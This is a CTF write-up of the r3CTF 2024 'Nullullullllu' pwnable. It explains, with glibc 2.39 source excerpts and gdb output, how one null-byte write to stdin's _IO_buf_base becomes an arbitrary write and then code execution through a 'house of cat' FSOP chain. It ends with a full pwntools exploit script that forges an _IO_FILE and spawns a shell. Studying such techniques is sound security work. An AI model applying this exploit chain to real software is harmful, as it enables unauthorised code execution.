Here’s my writeup for the “easiest” pwnable challenge in r3CTF 2024 - Nullullullllu. Only 13 out of 764 teams solved this challenge so I think it’s definitely not easy!

tl;dr

  1. Overwrite the lsb of stdin’s _IO_buf_base so that in the next getchar we can overwrite stdin’s _IO_FILE structure itself.
  2. Control stdin’s _IO_buf_base and _IO_buf_end to gain arbitrary write.
  3. Overwrite _IO_list_all and use house of cat exploit chain to gain RCE.

Challenge

Challenge files here

Challenge environment: Glibc 2.39 (which is the latest version!), protection are all on except canary.

I only show the important parts of the challenge here.

while(true){
        printf("> ");
        choose = getchar();
        while(getchar()!='\n'){}
        switch(choose){
            case '1':
                printf("libc_base = %p\n", (&puts-0x87bd0));
                break;
            case '2':
                if(first){
                    printf("Mem: ");
                    scanf("%llx", (long long unsigned int*)&mem);
                    printf("One byte Null is in %p\n", mem);
                    *mem = 0;
                    first = 0;
                } else {
                    puts("I said that give me \"a\" null ~");
                }
                break;
            case '3':
                exit(1);
                break;
        }
    }

Free libc leak and an arbitrary write NULL byte to any libc address.

Vulnerability analysis

Trivial, we can write a NULL byte in libc. But how to exploit?

Exploitation Plan

My first thought was of course: what the…freak? Can we overwrite some function pointer? It turns out that in libc 2.39, there aren’t many “raw” function pointers.

Then after some googling I found this awesome article House of red.

Yeah basically it’s the same idea! I actually traced source code during the competition.

If you dig into source code of getchar (libio/getchar.c):

int
getchar (void)
{
  int result;
  if (!_IO_need_lock (stdin))
    return _IO_getc_unlocked (stdin);
  _IO_acquire_lock (stdin);
  result = _IO_getc_unlocked (stdin);
  _IO_release_lock (stdin);
  return result;
}

We can see that _IO_getc_unlocked is important here. And after some more cross reference, we found that it’s actually calling this macro:

#define __getc_unlocked_body(_fp)					\
  (__glibc_unlikely ((_fp)->_IO_read_ptr >= (_fp)->_IO_read_end)	\
   ? __uflow (_fp) : *(unsigned char *) (_fp)->_IO_read_ptr++)

Condition (_fp)->_IO_read_ptr >= (_fp)->_IO_read_end is true here so it’ll call __uflow(stdin) in libio/genops.c:

int
__uflow (FILE *fp)
{
  if (_IO_vtable_offset (fp) == 0 && _IO_fwide (fp, -1) != -1)
    return EOF;

  if (fp->_mode == 0)
    _IO_fwide (fp, -1);
  if (_IO_in_put_mode (fp))
    if (_IO_switch_to_get_mode (fp) == EOF)
      return EOF;
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr++;
  if (_IO_in_backup (fp))
    {
      _IO_switch_to_main_get_area (fp);
      if (fp->_IO_read_ptr < fp->_IO_read_end)
	return *(unsigned char *) fp->_IO_read_ptr++;
    }
  if (_IO_have_markers (fp))
    {
      if (save_for_backup (fp, fp->_IO_read_end))
	return EOF;
    }
  else if (_IO_have_backup (fp))
    _IO_free_backup_area (fp);
  return _IO_UFLOW (fp); // <-- Here

}

And _IO_UFLOW is just a macro jumping to the __uflow function of vtable of an _IO_FILE structure. (libio/libioP.h)

#define _IO_UFLOW(FP) JUMP0 (__uflow, FP)

After some dynamic analysis we can see that it actually calls function _IO_file_underflow in gdb (or _IO_new_file_underflow in source code libio/fileops.c, they are the same).

The core part of _IO_new_file_underflow is:

count = _IO_SYSREAD (fp, fp->_IO_buf_base,
		       fp->_IO_buf_end - fp->_IO_buf_base);

So basically if we can control stdin’s _IO_buf_base to somewhere with lower address, we can read more than 1 char! (We didn’t change _IO_buf_end)

We can also see the same result in gdb

pwndbg> fp 0x00007ffff7fae8e0
$4 = {
  file = {
    _flags = -72540021,
    _IO_read_ptr = 0x7ffff7fae963 <_IO_2_1_stdin_+131> "1",
    _IO_read_end = 0x7ffff7fae963 <_IO_2_1_stdin_+131> "1",
    _IO_read_base = 0x7ffff7fae963 <_IO_2_1_stdin_+131> "1",
    _IO_write_base = 0x7ffff7fae963 <_IO_2_1_stdin_+131> "1",// <--address here lsb=0
    _IO_write_ptr = 0x7ffff7fae963 <_IO_2_1_stdin_+131> "1",
    _IO_write_end = 0x7ffff7fae963 <_IO_2_1_stdin_+131> "1",
    _IO_buf_base = 0x7ffff7fae963 <_IO_2_1_stdin_+131> "1",// Our target
    _IO_buf_end = 0x7ffff7fae964 <_IO_2_1_stdin_+132> "",
    ...

We found that if we write the lsb of _IO_buf_base to 0 (which is 0x7ffff7fae963 to 0x7ffff7fae900 in this case), it’ll point to the address of _IO_write_base!

So we can overwrite the _IO_FILE structure itself! The next getchar will actually read from 0x7ffff7fae900 to 0x7ffff7fae964. Then we can control _IO_buf_base and _IO_buf_end to gain arbitrary write.

The rest is just finding how to code execution in latest glibc 2.39. Fortunately house of cat exploit chain with exit triggering FSOP still works! See more details in the exploit script.

Exploit Script

from pwn import *
import sys
import time
context.log_level = "debug"
# context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"
# brva x = b *(pie+x)
# set follow-fork-mode 
# p/x $fs_base
# vis_heap_chunks
# set debug-file-directory /usr/src/glibc/glibc-2.35
# directory /usr/src/glibc/glibc-2.35/malloc/
# handle SIGALRM ignore
if len(sys.argv) == 1:
    r = process("./chall_patched")
elif len(sys.argv) == 3:
    r = remote(sys.argv[1], sys.argv[2])
else:
    print("Usage: python3 {} [GDB | REMOTE_IP PORT]".format(sys.argv[0]))
    sys.exit(1)
s       = lambda data               :r.send(data)
sa      = lambda x, y               :r.sendafter(x, y)
sl      = lambda data               :r.sendline(data)
sla     = lambda x, y               :r.sendlineafter(x, y)
ru      = lambda delims, drop=True  :r.recvuntil(delims, drop)
uu32    = lambda data,num           :u32(r.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64    = lambda data,num           :u64(r.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {}'.format(name, addr))
l64     = lambda      :u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(r.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))

sla("> ","1")
ru("libc_base = ")
libc = int(ru('\n'),16)
leak("libc",hex(libc))
IO_buf_base = libc + 0x203918
sla("> ","2")
sla("Mem: ",hex(IO_buf_base)[2:])
IO_list_all = libc + 0x2044c0
# house of cat exploit chain template
fake_io_addr = libc + 0x2043a8
fake_IO_FILE = b"\xd0\x06;sh;\x00\x00"
fake_IO_FILE += p64(0) * 6
fake_IO_FILE += p64(0x7777)
fake_IO_FILE += p64(1) + p64(2)
fake_IO_FILE += p64(fake_io_addr + 0xB0)
fake_IO_FILE += p64(libc + 0x58740)  # call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b"\x00")
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b"\x00")
fake_IO_FILE += p64(libc+0x204140)
fake_IO_FILE = fake_IO_FILE.ljust(0xA0, b"\x00")
fake_IO_FILE += p64(fake_io_addr + 0x30)
fake_IO_FILE = fake_IO_FILE.ljust(0xC0, b"\x00")
fake_IO_FILE += p64(1)  # mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xD8, b"\x00")
fake_IO_FILE += p64(
    libc + 0x202228 + 0x30
)  # vtable=IO_wfile_jumps+0x10  (vtable = IO_wfile_jumps + 0x30 for FSOP)
fake_IO_FILE += p64(0) * 6
fake_IO_FILE += p64(fake_io_addr + 0x40)
print("Len", len(fake_IO_FILE))
# I found out that I need to write above _IO_list_all to make it work
sa("> ",p64(libc+0x203900)*3+p64(IO_list_all-8-len(fake_IO_FILE))+p64(IO_list_all+8))
if args.GDB:
    gdb.attach(r,"b _IO_flush_all\nb _IO_switch_to_wget_mode")
s(p64(0xDEADBEEF)+fake_IO_FILE+p64(fake_io_addr)) # some newline issues I think
sl("3")
sla("> ","3") # exit -> FSOP
r.interactive()

Epilogue

Though this challenge seems unsolvable at first, it’s actually very interesting! Thanks uz56764 for this awesome challenge.